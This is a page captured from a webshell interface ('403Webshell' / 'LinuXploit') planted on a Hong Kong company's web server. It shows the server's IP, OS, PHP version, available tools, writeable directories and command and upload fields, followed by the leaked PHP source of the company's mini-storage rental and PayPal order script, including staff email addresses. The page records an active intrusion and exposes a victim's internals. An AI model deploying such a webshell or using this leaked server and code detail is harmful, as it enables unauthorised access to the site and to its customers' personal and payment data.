403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage2019/tc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage2019/tc/rent_email.php
<?php
	require_once('../webadmin/basic_info.php');

	global $dbh;

	$session_data = $_SESSION;
	if (!empty($session_data["nvpReqArray"]["PWD"])) {
		$session_data["nvpReqArray"]["PWD"] = "";
	}
	if (!empty($session_data["nvpReqArray"]["USER"])) {
		$session_data["nvpReqArray"]["USER"] = "";
	}
	if (!empty($session_data["nvpReqArray"]["SIGNATURE"])) {
		$session_data["nvpReqArray"]["SIGNATURE"] = "";
	}

	if(isset($_GET["INVOICE"]) && !empty($_GET["id"]) && !empty($_SESSION["paystatus"]) && $_SESSION["paystatus"] == 1){
		echo "<scrip>alert('線上付款成功,多謝你使用我們的服務。'); window.location.href='index.php';</scrip>";
		exit;
	}

	if(!empty($_SESSION["warehousing_web"]) && !empty($_SESSION["paystatus"]) && $_SESSION["paystatus"] == 1){

		try {

			$dbh->beginTransaction();

			//insert record to database
			$location_info = get_location((int)$_SESSION["warehousing_web"]["location_id"]);

			$hkid = NULL;
			$hkbr = NULL;

			//insert new customer info
			$customer_info = check_new_customer_new_order_by_email_phone($_SESSION["warehousing_web"]["email"], $_SESSION["warehousing_web"]["tel"]);
			if (!empty($customer_info["customer_id"]) && !$customer_info["new_customer"]) {
				$customer_id = $customer_info["customer_id"];
				$this_customer_info = get_customer($customer_id);
				$customer_code = $this_customer_info["code"];

				//update customer info
				$sql = "update customer set lastupby = ?, lastupdate = ?, typeid = ?, title = ?, firstname = ?, lastname = ?, companyname = ?, address = ? where id = ?";
				$parameters = array(1, $nowdate, $_SESSION["warehousing_web"]["customer_type"], $_SESSION["warehousing_web"]["title"], rsa_crypt($_SESSION["warehousing_web"]["firstname"], 1), rsa_crypt($_SESSION["warehousing_web"]["lastname"], 1), $_SESSION["warehousing_web"]["companyname"], rsa_crypt($_SESSION["warehousing_web"]["address"], 1), $customer_id );
				$result = bind_pdo($sql, $parameters);

				if ($_SESSION["warehousing_web"]["customer_type"] == "PERSONAL") {
					$hkid            = $this_customer_info["hkid"];
				}

				if ($_SESSION["warehousing_web"]["customer_type"] == "BUSINESS") {
					$hkbr            = $this_customer_info["hkbr"];
				}

			} else {
				$total_num_of_customer = count(get_customer());
				$new_code_id           = $total_num_of_customer + 1;
				$password              = random_string(15);
				$encrypt_password      = rsa_crypt($password, 1);

				$customer_code = "C" . date("y") . str_pad($new_code_id, 4, "0", STR_PAD_LEFT);
				$data                  = array(
					"code"        => $customer_code,
					"typeid"      => $_SESSION["warehousing_web"]["customer_type"],
					"title"       => $_SESSION["warehousing_web"]["title"],
					"firstname"   => rsa_crypt($_SESSION["warehousing_web"]["firstname"], 1),
					"lastname"    => rsa_crypt($_SESSION["warehousing_web"]["lastname"], 1),
					"companyname" => $_SESSION["warehousing_web"]["companyname"],
					"tel"         => rsa_crypt($_SESSION["warehousing_web"]["tel"], 1),
					"email"       => rsa_crypt($_SESSION["warehousing_web"]["email"], 1),
					"address"     => rsa_crypt($_SESSION["warehousing_web"]["address"], 1),
					"hkid"        => $hkid,
					"hkbr"        => $hkbr,
					"loginid"     => rsa_crypt($_SESSION["warehousing_web"]["email"], 1),
					"password"    => $encrypt_password,
					"createby"    => 1,
					"createdate"  => $nowdate,
					"lastupby"    => 1,
					"lastupdate"  => $nowdate
				);

				$result      = insert_record("customer", $data);
				$customer_id = $dbh->lastInsertId();

			}

			//insert order

			/*if ($_SESSION["warehousing_web"]["prepaid"] == 1) {
				$balance = 0;
			} else {
				$balance = $_SESSION["warehousing_web"]["discounted_price"] * ($_SESSION["warehousing_web"]["rent_month"] - 1);
			}*/

			$order_product_total = 0;
			if (!empty($_SESSION["warehousing_web"]["order_product"])) {
				foreach ($_SESSION["warehousing_web"]["order_product"] as $product) {
					$order_product_total += $product["price"] * $product["qty"];
				}
			}

			//$order_num     = count(get_order());
			$sql2        = "select * from `order` ";
			$parameters2 = array();
			$order_info2 = bind_pdo($sql2, $parameters2, "selectall");
			$order_num = count($order_info2);

			$new_order_num = $order_num + 1;

			$order_code = $location_info["location_code"] . "-CT" . date("y") . str_pad($new_order_num, 4, "0", STR_PAD_LEFT);

			$data = array(
				"company_id"              => 1,
				"branch_id"               => 1,
				"location_id"             => $_SESSION["warehousing_web"]["location_id"],
				"customer_id"             => $customer_id,
				"status"                  => "NEW",
				"code"                    => $order_code,
				"total_retail_price"      => $_SESSION["warehousing_web"]["retail_price"],
				"total_discounted_price"  => $_SESSION["warehousing_web"]["discounted_price"], //each month rent
				"deposit"                 => $_SESSION["warehousing_web"]["deposit"],
				"deposit_penalty"         => 0,
				"rent_month"              => $_SESSION["warehousing_web"]["rent_month"],
				"prepaid_month"           => $_SESSION["warehousing_web"]["prepaid_month"],
				"prepaid_amount"          => $_SESSION["warehousing_web"]["prepaid_amount"],
				"original_amount"         => $_SESSION["warehousing_web"]["total_amount"] + $_SESSION["warehousing_web"]["first_month_half_price"] + $order_product_total,
				"balance"                 => $_SESSION["warehousing_web"]["total_amount"] + $order_product_total,
				"docdate"                 => date("Y-m-d"),
				"transport_enable"        => $_SESSION["warehousing_web"]["transervice"],
				"transport_date"          => $_SESSION["warehousing_web"]["service_date"],
				"transport_address"       => $_SESSION["warehousing_web"]["delivery_from"],
				"transport_destination"   => $_SESSION["warehousing_web"]["delivery_to"],
				"startdate"               => $_SESSION["warehousing_web"]["rent_from"],
				"enddate"                 => $_SESSION["warehousing_web"]["rent_to"],
				"remark"                  => "",
				"warehousing_date"        => $_SESSION["warehousing_web"]["warehousing_date"],
				"roughly_size"            => $_SESSION["warehousing_web"]["roughly_size"],
				"free_first_month_deduct" => $_SESSION["warehousing_web"]["first_month_half_price"],
				"discount_deduct"         => $_SESSION["warehousing_web"]["first_month_half_price"],
				"last_paid"               => 0,
				"createby"                => 1,
				"createdate"              => $nowdate,
				"lastupby"                => 1,
				"lastupdate"              => $nowdate,

				//insert payment in to order
				"paymethod"               => "PAYPAL",
				"bank_name"               => "",
				"cheque_num"              => "",
				"paymethod_other"         => "",
				"from_order_id"           => "",
				"total_return_amount"     => 0,
				"room_key"                => "",
				"is_online_order"         => "1",
				"customer_code" => $customer_code,
				"customer_typeid" => $_SESSION["warehousing_web"]["customer_type"],
				"customer_title" =>  $_SESSION["warehousing_web"]["title"],
				"customer_firstname" =>  rsa_crypt($_SESSION["warehousing_web"]["firstname"], 1),
				"customer_lastname" =>  rsa_crypt($_SESSION["warehousing_web"]["lastname"], 1),
				"customer_companyname" =>  $_SESSION["warehousing_web"]["companyname"],
				"customer_address" =>  rsa_crypt($_SESSION["warehousing_web"]["address"], 1),
				"customer_tel" =>  rsa_crypt($_SESSION["warehousing_web"]["tel"], 1),
				"customer_email" =>  rsa_crypt($_SESSION["warehousing_web"]["email"], 1),
				"customer_hkid" => $hkid,
				"customer_hkbr" => $hkbr,
				"recurring_payment" => $_SESSION["warehousing_web"]["recurring_payment"],
				"recurring_profile_id" => $_SESSION["RECURRING_PROFILEID"],
			);

			$result = insert_record("order", $data);

			$order_id = $dbh->lastInsertId();

			//insert order discount
			if (!empty($_SESSION["warehousing_web"]["order_discount"])) {
				foreach ($_SESSION["warehousing_web"]["order_discount"] as $discount) {

					$data = array(
						"order_id"                => $order_id,
						"master_room_discount_id" => $discount["master_room_discount_id"],
						"master_room_id"          => $_SESSION["warehousing_web"]["master_room_id"],
						"room_id"                 => $_SESSION["warehousing_web"]["room_id"],
						"discount_type"           => $discount["discount_type"],
						"discount"                => $discount["discount"],
						"monthly_deduct"          => $discount["monthly_deduct"],
						"createby"                => 1,
						"createdate"              => $nowdate,
					);

					$result = insert_record("order_discount", $data);
				}
			}

			//if free first month fee
			if ($_SESSION["warehousing_web"]["first_month_half_price"] > 0) {
				$sql                   = "select * from master_room_discount where discount_type = ? and status = ? and deleted = ?";
				$parameters            = array("MO", 1, 0);
				$free_first_month_info = bind_pdo($sql, $parameters, "selectone");
				$data                  = array(
					"order_id"                => $order_id,
					"master_room_discount_id" => $free_first_month_info["id"],
					/*"room_id"          => $discount["room_id"],*/
					"discount_type"           => "MO",
					"monthly_deduct"          => $_SESSION["warehousing_web"]["first_month_half_price"],
					"createby"                => 1,
					"createdate"              => $nowdate,
				);

				$result = insert_record("order_discount", $data);
			}

			//insert order product
			$order_product_total = 0;

			if (!empty($_SESSION["warehousing_web"]["order_product"])) {

				foreach ($_SESSION["warehousing_web"]["order_product"] as $product) {

					$data = array(
						"order_id"    => $order_id,
						"customer_id" => $customer_id,
						"product_id"  => $product["product_id"],
						"qty"         => $product["qty"],
						"price"       => $product["price"],
						"amount"      => $product["price"] * $product["qty"],
						"createby"    => 1,
						"createdate"  => $nowdate,
						"lastupby"    => 1,
						"lastupdate"  => $nowdate,
					);

					$result = insert_record("order_product", $data);

					$order_product_total += $product["price"] * $product["qty"];
				}

				//update order
				$sql        = "update `order` set total_order_product = ? where id = ?";
				$parameters = array($order_product_total, $order_id);
				$result     = bind_pdo($sql, $parameters);
			}


			//insert order room
			$data = array(
				"order_id"         => $order_id,
				"room_id"          => $_SESSION["warehousing_web"]["room_id"],
				"retail_price"     => $_SESSION["warehousing_web"]["retail_price"],
				"discounted_price" => $_SESSION["warehousing_web"]["discounted_price"],
				"createby"         => 1,
				"createdate"       => $nowdate,
			);

			$result = insert_record("order_room", $data);

			//update room status
			$sql        = "update room set `status` = 'RENTED', rentaldate_from = ?, rentaldate_to = ?, online_hold_time = ? where id = ?";
			$parameters = array($_SESSION["warehousing_web"]["rent_from"], $_SESSION["warehousing_web"]["rent_to"], NULL, $_SESSION["warehousing_web"]["room_id"]);
			bind_pdo($sql, $parameters);


			/*** DEPOSIT ***/
			$sql                  = "select max(id) as max_id from deposit";
			$new_deposit_code_num = bind_pdo($sql, NULL, "selectone");

			$deposit_code = $location_info["location_code"] . "-D" . date("y") . str_pad($new_deposit_code_num["max_id"] + 1, 4, "0", STR_PAD_LEFT);

			$data = array(
				"order_id"            => $order_id,
				"code"                => $deposit_code,
				"status"              => "PAID",
				"amount"              => $_SESSION["warehousing_web"]["deposit"],
				"balance"             => 0,
				"expected_returndate" => $_SESSION["warehousing_web"]["rent_to"],
				"docdate"             => $nowdate,
				"duedate"             => $nowdate,
				"createby"            => 1,
				"createdate"          => $nowdate,
				"lastupby"            => 1,
				"lastupdate"          => $nowdate,
				"customer_id"         => $customer_id
			);

			$result     = insert_record("deposit", $data);
			$deposit_id = $dbh->lastInsertId();
			/*** END DEPOSIT ***/


			/*** INVOICE AND PAYMENT ***/

			//generate a invoice, need to update when sum the total
			$sql                  = "select max(id) as max_id from invoice";
			$new_invoice_code_num = bind_pdo($sql, NULL, "selectone");

			$invoice_code = $location_info["location_code"] . "-I" . date("y") . str_pad($new_invoice_code_num["max_id"] + 1, 4, "0", STR_PAD_LEFT);

			$data = array(
				"order_id"    => $order_id,
				"customer_id" => $customer_id,
				"status"      => "SETTLED",
				"code"        => $invoice_code,
				"docdate"     => $nowdate,
				"duedate"     => $_SESSION["warehousing_web"]["warehousing_date"],
				"createby"    => 1,
				"createdate"  => $nowdate,
				"lastupby"    => 1,
				"lastupdate"  => $nowdate
			);

			$result     = insert_record("invoice", $data);
			$invoice_id = $dbh->lastInsertId();

			$total_invoice_amount = $order_product_total;

			//generate a payment for invoice
			if ($_SESSION["warehousing_web"]["first_month_half_price"] > 0) {

				$total_payment = 0;

				//$total_payment += round($_SESSION["warehousing_web"]["first_month_half_price"]*0.5, 1);
				$total_payment += ($_SESSION["warehousing_web"]["first_month_half_price"]);

				$total_invoice_amount += 0;
				//invoice_dtl
				$data = array(
					"invoice_id" => $invoice_id,
					"type"       => "RENT",
					//"price"      => round($_SESSION["warehousing_web"]["first_month_half_price"]*0.5, 1),
					"price"      => round($_SESSION["warehousing_web"]["retail_price"]*0.5, 1),
					"uom_price"  => "MO",
					"qty"        => "1",
					//"amount"     => round($_SESSION["warehousing_web"]["first_month_half_price"]*0.5, 1),
					"amount"     => round($_SESSION["warehousing_web"]["retail_price"]*0.5, 1),
					"remark"     => "首月半價",
					"month"      => 1,
					"createby"   => 1,
					"createdate" => $nowdate,
					"lastupby"   => 1,
					"lastupdate" => $nowdate
				);

				$result = insert_record("invoice_dtl", $data);

			} else {
				//no free first month, no last paid, no prepaid

				if ($_SESSION["warehousing_web"]["prepaid_month"] <= 0) {
					$total_invoice_amount += $_SESSION["warehousing_web"]["discounted_price"];

					$data = array(
						"invoice_id" => $invoice_id,
						"type"       => "RENT",
						"remark"     => "",
						"month"      => 1,
						"price"      => $_SESSION["warehousing_web"]["discounted_price"],
						"uom_price"  => "MO",
						"qty"        => "1",
						"amount"     => $_SESSION["warehousing_web"]["discounted_price"] * 1,
						"createby"   => 1,
						"createdate" => $nowdate,
						"lastupby"   => 1,
						"lastupdate" => $nowdate
					);

					$result = insert_record("invoice_dtl", $data);
				}

			}

			$invoice_balance = 0;

			// 3. check if prepaid
			if ($_SESSION["warehousing_web"]["prepaid_month"] > 0) {

				//looping remain rent month
				for ($i = 1; $i <= $_SESSION["warehousing_web"]["rent_month"]; $i++) {

					if ($_SESSION["warehousing_web"]["first_month_half_price"] > 0 && $i == 1) {
						continue;
					}

					$total_invoice_amount += $_SESSION["warehousing_web"]["discounted_price"];

					$data = array(
						"invoice_id" => $invoice_id,
						"type"       => "RENT",
						"remark"     => "預繳租金",
						"month"      => $i,
						"price"      => $_SESSION["warehousing_web"]["discounted_price"],
						"uom_price"  => "MO",
						"qty"        => "1",
						"amount"     => $_SESSION["warehousing_web"]["discounted_price"] * 1,
						"createby"   => 1,
						"createdate" => $nowdate,
						"lastupby"   => 1,
						"lastupdate" => $nowdate
					);

					$result = insert_record("invoice_dtl", $data);

				}
			} else {
				//no prepaid

			}


			//case 2: has free first month, last paid = 0
			if ($_SESSION["warehousing_web"]["first_month_half_price"] > 0) {
				$invoice_balance = $total_invoice_amount - $_SESSION["warehousing_web"]["discounted_price"];

				//var_dump("case 2");
			} else {
				$invoice_balance = 0;
			}

			// end of 3


			// 4. other normal setting

			//insert order product invoice_dtl
			foreach ($_SESSION["warehousing_web"]["order_product"] as $order_product) {
				//insert order product invoice detail
				$data = array(
					"invoice_id"   => $invoice_id,
					"type"         => "ORDER_PRODUCT",
					"price"        => $order_product["price"],
					"uom_price"    => "PCS",
					"qty"          => $order_product["qty"],
					"amount"       => $order_product["price"] * $order_product["qty"],
					"order_dtl_id" => $order_product["product_id"],
					"createby"     => 1,
					"createdate"   => $nowdate,
					"lastupby"     => 1,
					"lastupdate"   => $nowdate
				);

				$result = insert_record("invoice_dtl", $data);
			}

			// end of 4


			//update invoice
			$sql        = "update invoice set amount = ?, balance = ? where id = ?";
			$parameters = array($total_invoice_amount, 0, $invoice_id);
			$result     = bind_pdo($sql, $parameters);

			//PAYMENT for this invoice
			$sql                  = "select max(id) as max_id from payment";
			$new_payment_code_num = bind_pdo($sql, NULL, "selectone");

			$payment_code = "P" . date("y") . str_pad($new_payment_code_num["max_id"] + 1, 4, "0", STR_PAD_LEFT);
			$data         = array(
				"customer_id"     => $customer_id,
				"paymethod"       => "PAYPAL",
				"bank_name"       => "",
				"cheque_num"      => "",
				"paymethod_other" => "",
				"status"          => "PAID",
				"code"            => $payment_code,
				"docdate"         => $nowdate,
				"amount"          => ($_SESSION["warehousing_web"]["deposit"] + $total_invoice_amount),
				"createby"        => 1,
				"createdate"      => $nowdate,
				"lastupby"        => 1,
				"lastupdate"      => $nowdate,
			);

			$result     = insert_record("payment", $data);
			$payment_id = $dbh->lastInsertId();

			//payment_dtl
			$data = array(
				"payment_id"   => $payment_id,
				"payable_type" => "DEPOSIT",
				"payable_id"   => $deposit_id,
				"status"       => "PAID",
				"docdate"      => $nowdate,
				"amount"       => $_SESSION["warehousing_web"]["deposit"],
				"createby"     => 1,
				"createdate"   => $nowdate,
				"lastupby"     => 1,
				"lastupdate"   => $nowdate,
			);

			$result = insert_record("payment_dtl", $data);

			//payment_dtl
			$data = array(
				"payment_id"   => $payment_id,
				"payable_type" => "INVOICE",
				"payable_id"   => $invoice_id,
				"status"       => "PAID",
				"docdate"      => $nowdate,
				"amount"       => $total_invoice_amount,
				"createby"     => 1,
				"createdate"   => $nowdate,
				"lastupby"     => 1,
				"lastupdate"   => $nowdate,
			);

			$result = insert_record("payment_dtl", $data);
			/*** END INVOICE AND PAYMENT ***/

			//$dbh->commit();

			//rent email
			$master_room_info = get_master_room($_SESSION["warehousing_web"]["master_room_id"]);

			$customer_name = get_customer_name($_SESSION["warehousing_web"]["firstname"], $_SESSION["warehousing_web"]["lastname"]);

			if($_SESSION["warehousing_web"]["title"] == "Mr")
				$title = "先生";
			else if($_SESSION["warehousing_web"]["title"] == "Mrs")
				$title =  "女士";
			else if($_SESSION["warehousing_web"]["title"] == "Ms")
				$title =  "小姐";

			$email_subject = $site_info{"companyname_" . $langcode}." - 租用迷你倉";

			//email content to customer
			ob_start();
			?>
			<html>
			<head>
				<META name=GENERATOR content="MSHTML 8.00.6001.19394">
				<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

			</head>
			<body style="font-family:arial,helvetica,sans-serif !important;color:#000;background:#fff; width:715px;">
			尊貴的<?=$customer_name.$title?>,<br><br>

			以下是你所租用迷你倉的資料。多謝使用我們的服務。
			<br><br>

			<div class="col-md-12 reserve">
				<div class="table-responsive clearfix">
					<h4>你的詳細</h4>
					<table class="table cart" style="width:800px;">
						<thead>
						<tr>
							<th class="cart-product-name" style="text-align: left;">項目</th>
							<th class="cart-product-subtotal" style="text-align: left;">小計</th>
						</tr>
						</thead>
						<tbody>
						<tr class="cart_item">
							<td class="cart-product-name">
								單位尺碼(長x闊x高): <?=$master_room_info["display_size"]?><br />
								單位費用: HK$<?=$_SESSION["warehousing_web"]["discounted_price"]?> / 月<br />
								租月期: <?=$_SESSION["warehousing_web"]["rent_month"]?> 月<br />
								預繳所有費用:
								<?php
									if($_SESSION["warehousing_web"]["prepaid"] == 1){
										echo "是<br />";
									}else{
										echo "否<br />";
									}

									if($_SESSION["warehousing_web"]["first_month_half_price"] > 0){
										echo "首月費用: -HK$".$_SESSION["warehousing_web"]["first_month_half_price"]."<br />";
									}
								?>

							</td>

							<td class="cart-product-subtotal">
								<span class="amount">HK$<?=numberformat($_SESSION["warehousing_web"]["discounted_price"]*$_SESSION["warehousing_web"]["rent_month"]-$_SESSION["warehousing_web"]["first_month_half_price"])?></span>
							</td>
						</tr>

						<tr class="cart_item">
							<td class="cart-product-name" colspan="2"></td>
						</tr>

						<tr class="cart_item">
							<td class="cart-product-name">
								按金
								(HK$<?=numberformat($_SESSION["warehousing_web"]["retail_price"])?> x 2)
							</td>

							<td class="cart-product-subtotal">
								<span class="amount">HK$<?=numberformat($_SESSION["warehousing_web"]["deposit"])?></span>
							</td>
						</tr>

						<tr class="cart_item">
							<td class="cart-product-name" colspan="2"></td>
						</tr>

						<?php
							$product_total = 0;
							if (!empty($_SESSION["warehousing_web"]["order_product"])) {

								foreach ($_SESSION["warehousing_web"]["order_product"] as $product) {
									$product_info  = get_product($product["product_id"]);
									$product_total += ($product["price"] * $product["qty"]);
									echo '<tr class="cart_item">';
									echo '<td class="cart-product-name">
												' . $product_info["name_" . $langcode] . '
												數量: ' . $product["qty"] . '
											</td>

											<td class="cart-product-subtotal">
												<span class="amount">HK$' .numberformat(numberformat($product["price"] * $product["qty"])) . '</span>
											</td>';
									echo '</tr>';
								}
							}
						?>

						<tr class="cart_item">
							<td class="cart-product-name" colspan="2"></td>
						</tr>

						<tr class="cart_item">
							<td class="cart-product-name">
								<h4>總金額:</h4>
							</td>

							<td class="cart-product-subtotal">
								<h4>HK$<?=numberformat($_SESSION["warehousing_web"]["discounted_price"]*$_SESSION["warehousing_web"]["rent_month"]-$_SESSION["warehousing_web"]["first_month_half_price"]+$product_total+$_SESSION["warehousing_web"]["deposit"])?></h4>
							</td>
						</tr>

						</tbody>
					</table>
				</div>

				<div class="line"></div>
				<h4>帳單資料</h4>

				<p></p>

				<div class="form-process"></div>

				<table style="width:800px;">
					<tr>
						<td style="width: 33%"><b>頭銜:</b><br />
							<?php
								if($_SESSION["warehousing_web"]["title"] == "Mr")
									echo "先生";
								else if($_SESSION["warehousing_web"]["title"] == "Mrs")
									echo "女士";
								else if($_SESSION["warehousing_web"]["title"] == "Ms")
									echo "小姐";
							?>
							</td>

						<td style="width: 33%"><b>姓氏:</b><br />
							<?=$_SESSION["warehousing_web"]["lastname"]?></td>
						<td style="width: 33%"><b>名字:</b><br />
							<?=$_SESSION["warehousing_web"]["firstname"]?></td>
					</tr>

					<?php if($_SESSION["warehousing_web"]["customer_type"] == "BUSINESS"){	?>
					<tr>
						<td><b>客戶類型:</b><br />
							<?php
								$type_info = get_master_type_code("CUSTOMER_TYPE", $_SESSION["warehousing_web"]["customer_type"]);

								echo $type_info["name_".$langcode];
							?></td>
						<td colspan="2"><b>公司名稱:</b><br />
							<?=$_SESSION["warehousing_web"]["companyname"]?></td>
					</tr>
					<?php } else { ?>
						<tr>
							<td colspan="3"><b>客戶類型:</b><br />
								<?php
									$type_info = get_master_type_code("CUSTOMER_TYPE", $_SESSION["warehousing_web"]["customer_type"]);

									echo $type_info["name_".$langcode];
								?></td>
						</tr>
					<?php } ?>


					<tr>
						<td><b>聯絡電話:</b><br />
							<?=$_SESSION["warehousing_web"]["tel"]?></td>
						<td><b>電郵:</b><br />
							<?=$_SESSION["warehousing_web"]["email"]?></td>
						<td><b>帳單地址:</b><br />
							<?=$_SESSION["warehousing_web"]["address"]?></td>
					</tr>

					<tr>
						<td colspan="3"><b>搬入日期:</b><br />
							<?=$_SESSION["warehousing_web"]["warehousing_date"]?></td>
					</tr>

					<?php if($_SESSION["warehousing_web"]["transervice"] == 1){ ?>
					<tr>
						<td colspan="3"><b>是否需要運輸服務: </b><br /> 是</td>
					</tr>

						<tr>
							<td><b>運輸日期:</b><br />
								<?=$_SESSION["warehousing_web"]["service_date"]?></td>
							<td><b>運輸地址:</b><br />
								<?=$_SESSION["warehousing_web"]["delivery_from"]?></td>
							<td><b>運輸目的地:</b><br />
								<?=$_SESSION["warehousing_web"]["delivery_to"]?></td>
						</tr>
					<?php } else { ?>
						<tr>
							<td colspan="3"><b>是否需要運輸服務: </b><br /> 否</td>
						</tr>
					<?php } ?>

					<tr>
						<td colspan="3"><b>租用條款:</b><br />
							您在此同意條款與細則。您清楚知道您有責任準時支付所有相關費用,並提供有效的付款方式給出入易迷你倉。<br /><br />
							您開始搬入迷你倉的那天為您的結算日, 您將會在每月的結算日自動支付儲存月費。</td>
					</tr>
				</table>

			</div>


			<br><br><br><br>

			<?= $site_info{"companyname_" . $langcode} ?><br>
			<a href='<?= $site_info{"url"} ?>' target='_blank'><?= $site_info{"url"} ?></a>
			</body>
			</html>

			<?php
			$email_body = ob_get_contents();

			ob_end_clean();

			$enquiryemail = $site_info{"enquiryemail"};
			$company_name = $site_info{"companyname_" . $langcode};

			//for customer
			$x_mail = new PHPMailer();
			$x_mail->CharSet  = "UTF-8";
			$x_mail->Sender   = $enquiryemail;
			$x_mail->AddReplyTo($enquiryemail, $company_name);
			$x_mail->From     = $enquiryemail;
			$x_mail->FromName = $company_name;

			//send to user not send to client
			/*if(PRODUCTION == 1){
				$x_mail->AddAddress($_SESSION["warehousing_web"]["email"], $customer_name);
			}else{
				$x_mail->AddAddress($enquiryemail, $company_name);
				$x_mail->AddBCC("skycheng@onesolution.com.hk", $company_name);
			}*/
            $x_mail->AddAddress("kelvinchan@onesolution.com.hk", $company_name);

			$x_mail->WordWrap = 50;
			$x_mail->IsHTML(true);
			$x_mail->Subject = $email_subject;
			$x_mail->Body    = $email_body;

			if ($x_mail->Send()) {
				$sql = "update `order` set send_email = ? where id = ?";
				$parameters = array(1, $order_id);
				$result = bind_pdo($sql, $parameters);
			} else {

			}

			$dbh->commit();

			//unset session
			unset($_SESSION["warehousing_web"]);
			unset($_SESSION["nvpReqArray"]);
			unset($_SESSION["RECURRING_PROFILEID"]);
			unset($_SESSION["reshash"]);
			unset($_SESSION["my_error_no"]);
			unset($_SESSION["paystatus"]);
			unset($_SESSION["paypalid"]);
			unset($_SESSION["token"]);
			unset($_SESSION["payer_id"]);

			header("Location: thankyou_rent.php?id=".$order_id);

		}catch (Exception $e) {

			$dbh->rollBack();

			$data = array(
				"tag"        => "Website",
				"error_code" => "rent_email",
				"error_msg"  => $e->getMessage(),
				"createdate" => $nowdate,
				"refno"      => "",
				"sessionid"  => session_id(),
				"useragent"  => $_SERVER['HTTP_USER_AGENT'],
				"_session"   => var_export($session_data, true),
				"_server"    => var_export($_SERVER, true),
			);

			$result = insert_record("sys_errorlog", $data);

			//echo $e->getMessage();

			echo "<script>alert('租倉過程出錯。'); window.location.href='index.php';</script>";
			exit;
			//header("Location: rent_email.php");
		}
	}else{
		$data = array(
			"tag"        => "Website",
			"error_code" => "rent_email",
			"error_msg"  => "",
			"createdate" => $nowdate,
			"refno"      => "",
			"sessionid"  => session_id(),
			"useragent"  => $_SERVER['HTTP_USER_AGENT'],
			"_session"   => var_export($session_data, true),
			"_server"    => var_export($_SERVER, true),
		);

		$result = insert_record("sys_errorlog", $data);

		echo "<script>alert('租倉過程出錯。'); window.location.href='index.php';</script>";
		exit;
	}

Youez - 2016 - github.com/yon3zu
LinuXploit